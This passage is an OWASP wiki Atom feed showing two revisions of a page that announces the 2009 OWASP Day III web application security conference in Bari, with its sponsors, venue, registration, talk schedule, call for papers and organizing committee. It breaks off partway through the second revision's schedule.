<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=S4tan</id>
		<title>OWASP - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=S4tan"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php/Special:Contributions/S4tan"/>
		<updated>2026-05-03T15:10:37Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Italy_OWASP_Day_3&amp;diff=55046</id>
		<title>Italy OWASP Day 3</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Italy_OWASP_Day_3&amp;diff=55046"/>
				<updated>2009-02-20T13:30:53Z</updated>
		
		<summary type="html">&lt;p&gt;S4tan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[http://www.owasp.org/index.php/Italy Back to the Italian Chapter]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;'''OWASP Day III:  &amp;quot;Web Application Security: research meets industry&amp;quot;'''&lt;br /&gt;
&lt;br /&gt;
Hosted by:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:Daisy.png]]&amp;lt;br&amp;gt;&lt;br /&gt;
Centro di Competenza ICT-Puglia - Dipartimento di Informatica &amp;lt;br&amp;gt;&lt;br /&gt;
Università degli Studi di Bari&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
23rd February 2009 - Bari (Italy)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Image:1.png]]&lt;br /&gt;
[[Image:2.png]]&lt;br /&gt;
[[Image:3.png]]&lt;br /&gt;
[[Image:4.png]]&lt;br /&gt;
[[Image:5.png]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
'''OWASP-Day Sponsors'''&lt;br /&gt;
&lt;br /&gt;
'''Platinum Sponsors:'''&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[http://www.aicanet.it http://www.owasp.org/images/d/d7/Aica.png]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Gold Sponsors:'''&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[http://www.fortifysoftware.com http://www.owasp.org/images/b/b2/FortifyNew.JPG]&lt;br /&gt;
[http://www-306.ibm.com/software/awdtools/appscan/standard/ http://www.owasp.org/images/8/84/IBM.png][http://www-306.ibm.com/software/awdtools/appscan/standard/ http://www.owasp.org/images/8/8e/Rational.gif] &lt;br /&gt;
[http://www.serandpractices.com http://www.owasp.org/images/6/68/S%26P.png]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Introduction ===&lt;br /&gt;
&lt;br /&gt;
Welcome to the OWASP Day III Italy Conference for 2009. Following on from the great success of OWASP Day II in 2008 the third conference will take place in February 2009.&amp;lt;br&amp;gt;&lt;br /&gt;
OWASP (The Open Web Application Security Project) is a worldwide free and open community focused on improving the security of application software. OWASP mission is to make application security &amp;quot;visible,&amp;quot; so that people and organizations can make informed decisions about application security risks. &lt;br /&gt;
Everyone is free to participate to the OWASP community and all the produced materials are available under a free and open software license. &lt;br /&gt;
&lt;br /&gt;
* The conference represents a day of Web App Sec debate for all the OWASP chapters in the world&lt;br /&gt;
&lt;br /&gt;
* Thanks to the collaboration with the University of Bari, we are organizing the Conference: &amp;quot;Web Application Security: from the research to the real world&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
* OWASP Day III will be an all day Conference.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
'''Location:'''&lt;br /&gt;
&lt;br /&gt;
The OWASP-Italy Day III will be hosted by: &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Centro di Competenza ICT SUD - Puglia&amp;lt;br&amp;gt;&lt;br /&gt;
Department of Informatics &amp;lt;br&amp;gt;&lt;br /&gt;
University of Bari&amp;lt;br&amp;gt;&lt;br /&gt;
[http://maps.google.com/maps?f=q&amp;amp;hl=it&amp;amp;geocode=&amp;amp;q=Via+E.+Orabona,+4,+bari&amp;amp;sll=37.0625,-95.677068&amp;amp;sspn=33.764224,79.101563&amp;amp;ie=UTF8&amp;amp;ll=41.10888,16.880751&amp;amp;spn=0.007841,0.019312&amp;amp;z=16&amp;amp;g=Via+E.+Orabona,+4,+bari&amp;amp;iwloc=r9| Via E. Orabona, 4]&lt;br /&gt;
70125 - Bari - Italy&amp;lt;br&amp;gt;&lt;br /&gt;
Italy &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[http://www.owasp.org/index.php/Italy_OWASP_Day_3_Location HOW TO REACH CONFERENCE LOCATION AND WHERE TO STAY]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''REGISTRATION:'''&lt;br /&gt;
&lt;br /&gt;
The conference is open to all attendees for free (coffee break and business lunch are included) but it requires (mandatory) registration.  &lt;br /&gt;
In order to guaranty a well organized event,  the unregistered attendees will not be allowed to access the conference.&lt;br /&gt;
&lt;br /&gt;
To register at the conference please fill your information at the following form:&amp;lt;br&amp;gt;&lt;br /&gt;
http://www.daisy-net.com/owasp/&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== OWASP Day III Italy - Conference Schedule ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
&amp;lt;table width=&amp;quot;80%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td width=4%&amp;gt;8:30h&amp;lt;/td&amp;gt;&amp;lt;td bgcolor=&amp;quot;#BCA57A&amp;quot; width=*&amp;gt;&amp;lt;b&amp;gt;Registration&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td valign=top&amp;gt;9.00h&amp;lt;/td&amp;gt;&amp;lt;td bgcolor=&amp;quot;#eeeeee&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;Welcome and opening of the works&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;Prof. Giuseppe Visaggio - Università di Bari - Presidente del Centro di Competenza ICT-Puglia&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td valign=top&amp;gt;9.20h&amp;lt;/td&amp;gt;&amp;lt;td bgcolor=&amp;quot;#b9c2dc&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;Introduction to the OWASP-Day III&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;Matteo Meucci - OWASP-Italy Chair, CEO Minded Security&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td valign=top&amp;gt;09.45h&amp;lt;/td&amp;gt;&amp;lt;td bgcolor=&amp;quot;#eeeeee&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;Trusted Computing: tecnologia ed applicazione alla protezione del web&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;Prof. Antonio Lioy - Politecnico di Torino&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td valign=top&amp;gt;10.30h&amp;lt;/td&amp;gt;&amp;lt;td bgcolor=&amp;quot;#BCA57A&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Coffe break&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td valign=top&amp;gt;11.00h&amp;lt;/td&amp;gt;&amp;lt;td bgcolor=&amp;quot;#b9c2dc&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;L'implementazione di un modello di sicurezza in ambito bancario: l'esperienza di ABN AMRO&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;Manuele Cavallari - Responsabile IT Security Office - Consorzio Operativo Gruppo MPS&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt; &lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td valign=top&amp;gt;11.30h&amp;lt;/td&amp;gt;&amp;lt;td bgcolor=&amp;quot;#eeeeee&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;Analisi forense dopo un cyber attack&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;Ass. Davide Gabrini - Analista forense presso il Compartimento Polizia Postale e delle Comunicazioni di Milano&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td valign=top&amp;gt;12.15h&amp;lt;/td&amp;gt;&amp;lt;td bgcolor=&amp;quot;#eeeeee&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;A Software Security Maturity Model&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;Brian Chess - Chief Scientist at Fortify Software&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td valign=top&amp;gt;13.00h&amp;lt;/td&amp;gt;&amp;lt;td bgcolor=&amp;quot;#BCA57A&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Business Lunch&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td valign=top&amp;gt;14.00h&amp;lt;/td&amp;gt;&amp;lt;td bgcolor=&amp;quot;#b9c2dc&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;Http Parameter Injection&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;Stefano Di Paola - CTO Minded Security&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td valign=top&amp;gt;14.30h&amp;lt;/td&amp;gt;&amp;lt;td bgcolor=&amp;quot;#b9c2dc&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;SHIELDS: metrics, tools and Internet services to improve security in application developments&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;Domenico Rotondi, Alessandra Bagnato, Eva Coscia, Cinzia Rubattino - TXT e-solutions Spa&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt; &lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td valign=top&amp;gt;15.00h&amp;lt;/td&amp;gt;&amp;lt;td bgcolor=&amp;quot;#eeeeee&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;Secure Code Review: dalla teoria alla pratica&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;Antonio Parata - Security Consultant Emaze Networks&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td valign=top&amp;gt;15.30h&amp;lt;/td&amp;gt;&amp;lt;td bgcolor=&amp;quot;#BCA57A&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Coffe break&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td valign=top&amp;gt;16.00h&amp;lt;/td&amp;gt;&amp;lt;td bgcolor=&amp;quot;#b9c2dc&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;Automatic Generation of Test Cases for Web Application Security: a Software Engineering Perspective&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;Prof. Corrado Aaron Visaggio - Università del Sannio&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td valign=top&amp;gt;16.30h&amp;lt;/td&amp;gt;&amp;lt;td bgcolor=&amp;quot;#eeeeee&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;Harden your Java Components!&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;Pierre Parrend - SE FZI Karlsruhe&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td valign=top&amp;gt;17:00h&amp;lt;/td&amp;gt;&amp;lt;td bgcolor=&amp;quot;#eeeee1&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Round table:&amp;lt;/b&amp;gt;“La ricerca nella Web Application Security, qual’ è lo stato dell’arte? Quali progetti/iniziative per aiutare le aziende a creare applicazioni più sicure e a difendersi da nuove forme di attacchi? Cosa sta facendo l’Università in tal senso? Quanto sono vicini il mondo aziendale al mondo accademico?”&lt;br /&gt;
Panelist: Danilo Caivano - Università di Bari,  Corrado Aaron Visaggio - Università del Sannio, Giorgio Fedon - COO Minded Security, Mauro Bregolin - Kima &amp;lt;br&amp;gt;&lt;br /&gt;
Keynote: Matteo Meucci&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Goals and Topics:'''&lt;br /&gt;
&lt;br /&gt;
The OWASP Days have always offered a forum for discussion and exchange of ideas among researchers and practitioners who present their experiences and discuss issues related to Web Application Security from a higher level to a technical point of view.&lt;br /&gt;
&lt;br /&gt;
Conference topics include, but are not limited to:&lt;br /&gt;
* The evolution of attacks and countermeasures for the security in the Web Application&lt;br /&gt;
* Case studies of how the Companies have adopted the OWASP Guidelines in their SDLC. &lt;br /&gt;
* Application Security Assessment Model&lt;br /&gt;
* Data Privacy Enabling Technology&lt;br /&gt;
* Experience report in applying OWASP guidelines to industries&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Conference structure and schedule:'''&lt;br /&gt;
&lt;br /&gt;
OWASP-Italy Day III will be all day Conference. The conference aims to provide a workshop-like atmosphere in which contributions can be presented and then time is allowed for constructive discussion of their results and processes.&lt;br /&gt;
&lt;br /&gt;
It will be structured in two sections:&lt;br /&gt;
&lt;br /&gt;
* speakers presentations, questions/answers;&lt;br /&gt;
* round table with international guests discussing the more interesting subjects and issues that arise during the event&lt;br /&gt;
&lt;br /&gt;
During the conference two coffee break (one in the morning and one in the afternoon) and the business lunch will be served.  &lt;br /&gt;
&lt;br /&gt;
The detailed agenda of the conference will be available on the web site before the event.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Call For Sponsorships (OPEN):'''&lt;br /&gt;
 &lt;br /&gt;
The aims of OWASP - Italy community is to guarantee access to the conference for free in order to allow for wide participation and empower the community itself. As so the OWASP - Italy community encourages Industries, Research Institutions and Individuals to sponsor their activities and events. &lt;br /&gt;
Three types of sponsorships are available: &lt;br /&gt;
* Silver sponsorship: 1500 euro. It Includes: the publication of the sponsor logo on the web site&lt;br /&gt;
*Gold Sponsorship: 2500 euro. It includes: the publication of the sponsor logo in the agenda, on the web site, on the flyers and in all the official communications with the attendees at the conference. The possibility to distribute the Company brochures, CDs or other materials to the participants during the event.&lt;br /&gt;
* Platinum Sponsorship: 3000 euro. It includes: the gold sponsorship, dedicated space for the Company to show their offering to the attendees. &lt;br /&gt;
Those who are interested in sponsoring OSWAP-Italy Day III Conference can contact the&lt;br /&gt;
OWASP Italy Day III Organizing Committees:&amp;lt;br&amp;gt;&lt;br /&gt;
Voice : +39 080 544 3270 or  +39 080 544 2300&amp;lt;br&amp;gt;&lt;br /&gt;
Fax : +39 080 544 2536&amp;lt;br&amp;gt;&lt;br /&gt;
E-mail: owasp@di.uniba.it.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Call for Paper (CLOSED) and review process:'''&lt;br /&gt;
&lt;br /&gt;
OWASP solicit contributions on the above topics, or general matters of interest to the community. Those who are interested in participating as speakers to the conference can submit an abstract of the speech to the OWASP-Italy Board by email at:&lt;br /&gt;
owasp-italy &amp;lt;at&amp;gt; owasp.org &amp;lt;br&amp;gt;&lt;br /&gt;
The email subject must be “OWASP Day 3: CFP” and  the email body must contains the following information/sections:&lt;br /&gt;
&lt;br /&gt;
* Name and Surname&lt;br /&gt;
* Affiliation &lt;br /&gt;
* Address  &lt;br /&gt;
* Telephone number&lt;br /&gt;
* email address&lt;br /&gt;
* list of the author’s previous papers/articles/speeches on the same topics &lt;br /&gt;
* Title of the contribution  &lt;br /&gt;
* Type of contribution: Technical or Informative  &lt;br /&gt;
* Abstract (max one A4 style page)&lt;br /&gt;
* Why the contribution is relevant for OWASP-Italy Day 3&lt;br /&gt;
&lt;br /&gt;
The submission will be reviewed by the OWASP-Italy Board and the 8-9 most interesting ones will be selected and invited for presentation &lt;br /&gt;
&lt;br /&gt;
'''Important dates '''&lt;br /&gt;
&lt;br /&gt;
* Contributions submission deadline: 			15th January 2008&lt;br /&gt;
* Communication of acceptance for contributions: 	3rd February 2009 &lt;br /&gt;
* Registration deadline: 				20th February 2009&lt;br /&gt;
* Conference Agenda due: 				10th February 2009 &lt;br /&gt;
* Conference date: 					23rd February 2009  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''OWASP Italy Day III Organizing Committees:'''&lt;br /&gt;
&lt;br /&gt;
* Maria Teresa Baldassarre – Department of Informatics  - University of Bari&lt;br /&gt;
* Danilo Caivano – Department of Informatics  - University of Bari&lt;br /&gt;
* Matteo Meucci – OWASP-Italy Chair &lt;br /&gt;
* Corrado Aaron Visaggio – Engineering Department -  University of Sannio&lt;br /&gt;
* Nicola Quarantiello – ICT Security Consultant&lt;br /&gt;
* Walter Lombardi – Polizia di Stato -  Polizia delle Comunicazioni&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Italy]]&lt;/div&gt;</summary>
		<author><name>S4tan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Italy_OWASP_Day_3&amp;diff=54608</id>
		<title>Italy OWASP Day 3</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Italy_OWASP_Day_3&amp;diff=54608"/>
				<updated>2009-02-17T14:38:04Z</updated>
		
		<summary type="html">&lt;p&gt;S4tan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[http://www.owasp.org/index.php/Italy Back to the Italian Chapter]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;'''OWASP Day III:  &amp;quot;Web Application Security: research meets industry&amp;quot;'''&lt;br /&gt;
&lt;br /&gt;
Hosted by:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:Daisy.png]]&amp;lt;br&amp;gt;&lt;br /&gt;
Centro di Competenza ICT-Puglia - Dipartimento di Informatica &amp;lt;br&amp;gt;&lt;br /&gt;
Università degli Studi di Bari&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
23rd February 2009 - Bari (Italy)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Image:1.png]]&lt;br /&gt;
[[Image:2.png]]&lt;br /&gt;
[[Image:3.png]]&lt;br /&gt;
[[Image:4.png]]&lt;br /&gt;
[[Image:5.png]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
'''OWASP-Day Sponsors'''&lt;br /&gt;
&lt;br /&gt;
'''Platinum Sponsors:'''&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[http://www.aicanet.it http://www.owasp.org/images/d/d7/Aica.png]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Gold Sponsors:'''&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[http://www.fortifysoftware.com http://www.owasp.org/images/b/b2/FortifyNew.JPG]&lt;br /&gt;
[http://www-306.ibm.com/software/awdtools/appscan/standard/ http://www.owasp.org/images/8/84/IBM.png][http://www-306.ibm.com/software/awdtools/appscan/standard/ http://www.owasp.org/images/8/8e/Rational.gif] &lt;br /&gt;
[http://www.serandpractices.com http://www.owasp.org/images/6/68/S%26P.png]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Introduction ===&lt;br /&gt;
&lt;br /&gt;
Welcome to the OWASP Day III Italy Conference for 2009. Following on from the great success of OWASP Day II in 2008 the third conference will take place in February 2009.&amp;lt;br&amp;gt;&lt;br /&gt;
OWASP (The Open Web Application Security Project) is a worldwide free and open community focused on improving the security of application software. OWASP mission is to make application security &amp;quot;visible,&amp;quot; so that people and organizations can make informed decisions about application security risks. &lt;br /&gt;
Everyone is free to participate to the OWASP community and all the produced materials are available under a free and open software license. &lt;br /&gt;
&lt;br /&gt;
* The conference represents a day of Web App Sec debate for all the OWASP chapters in the world&lt;br /&gt;
&lt;br /&gt;
* Thanks to the collaboration with the University of Bari, we are organizing the Conference: &amp;quot;Web Application Security: from the research to the real world&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
* OWASP Day III will be an all day Conference.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
'''Location:'''&lt;br /&gt;
&lt;br /&gt;
The OWASP-Italy Day III will be hosted by: &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Centro di Competenza ICT SUD - Puglia&amp;lt;br&amp;gt;&lt;br /&gt;
Department of Informatics &amp;lt;br&amp;gt;&lt;br /&gt;
University of Bari&amp;lt;br&amp;gt;&lt;br /&gt;
[http://maps.google.com/maps?f=q&amp;amp;hl=it&amp;amp;geocode=&amp;amp;q=Via+E.+Orabona,+4,+bari&amp;amp;sll=37.0625,-95.677068&amp;amp;sspn=33.764224,79.101563&amp;amp;ie=UTF8&amp;amp;ll=41.10888,16.880751&amp;amp;spn=0.007841,0.019312&amp;amp;z=16&amp;amp;g=Via+E.+Orabona,+4,+bari&amp;amp;iwloc=r9| Via E. Orabona, 4]&lt;br /&gt;
70125 - Bari - Italy&amp;lt;br&amp;gt;&lt;br /&gt;
Italy &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[http://www.owasp.org/index.php/Italy_OWASP_Day_3_Location HOW TO REACH CONFERENCE LOCATION AND WHERE TO STAY]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''REGISTRATION:'''&lt;br /&gt;
&lt;br /&gt;
The conference is open to all attendees for free (coffee break and business lunch are included) but it requires (mandatory) registration.  &lt;br /&gt;
In order to guaranty a well organized event,  the unregistered attendees will not be allowed to access the conference.&lt;br /&gt;
&lt;br /&gt;
To register at the conference please fill your information at the following form:&amp;lt;br&amp;gt;&lt;br /&gt;
http://www.daisy-net.com/owasp/&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== OWASP Day III Italy - Conference Schedule ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
&amp;lt;table width=&amp;quot;80%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td width=4%&amp;gt;8:30h&amp;lt;/td&amp;gt;&amp;lt;td bgcolor=&amp;quot;#BCA57A&amp;quot; width=*&amp;gt;&amp;lt;b&amp;gt;Registration&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td valign=top&amp;gt;9.00h&amp;lt;/td&amp;gt;&amp;lt;td bgcolor=&amp;quot;#eeeeee&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;Welcome and opening of the works&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;Prof. Giuseppe Visaggio - Università di Bari - Presidente del Centro di Competenza ICT-Puglia&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td valign=top&amp;gt;9.20h&amp;lt;/td&amp;gt;&amp;lt;td bgcolor=&amp;quot;#b9c2dc&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;Introduction to the OWASP-Day III&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;Matteo Meucci - OWASP-Italy Chair, CEO Minded Security&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td valign=top&amp;gt;09.45h&amp;lt;/td&amp;gt;&amp;lt;td bgcolor=&amp;quot;#eeeeee&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;Trusted Computing: tecnologia ed applicazione alla protezione del web&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;Prof. Antonio Lioy - Politecnico di Torino&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td valign=top&amp;gt;10.30h&amp;lt;/td&amp;gt;&amp;lt;td bgcolor=&amp;quot;#BCA57A&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Coffe break&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td valign=top&amp;gt;11.00h&amp;lt;/td&amp;gt;&amp;lt;td bgcolor=&amp;quot;#b9c2dc&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;L'implementazione di un modello di sicurezza in ambito bancario: l'esperienza di ABN AMRO&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;Manuele Cavallari - Responsabile IT Security Office - Consorzio Operativo Gruppo MPS&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt; &lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td valign=top&amp;gt;11.30h&amp;lt;/td&amp;gt;&amp;lt;td bgcolor=&amp;quot;#eeeeee&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;Analisi forense dopo un cyber attack&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;Ass. Davide Gabrini - Analista forense presso il Compartimento Polizia Postale e delle Comunicazioni di Milano&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td valign=top&amp;gt;12.15h&amp;lt;/td&amp;gt;&amp;lt;td bgcolor=&amp;quot;#eeeeee&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;A Software Security Maturity Model&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;Brian Chess - Chief Scientist at Fortify Software&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td valign=top&amp;gt;13.00h&amp;lt;/td&amp;gt;&amp;lt;td bgcolor=&amp;quot;#BCA57A&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Business Lunch&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td valign=top&amp;gt;14.00h&amp;lt;/td&amp;gt;&amp;lt;td bgcolor=&amp;quot;#b9c2dc&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;Http Parameter Injection&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;Stefano Di Paola - CTO Minded Security&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
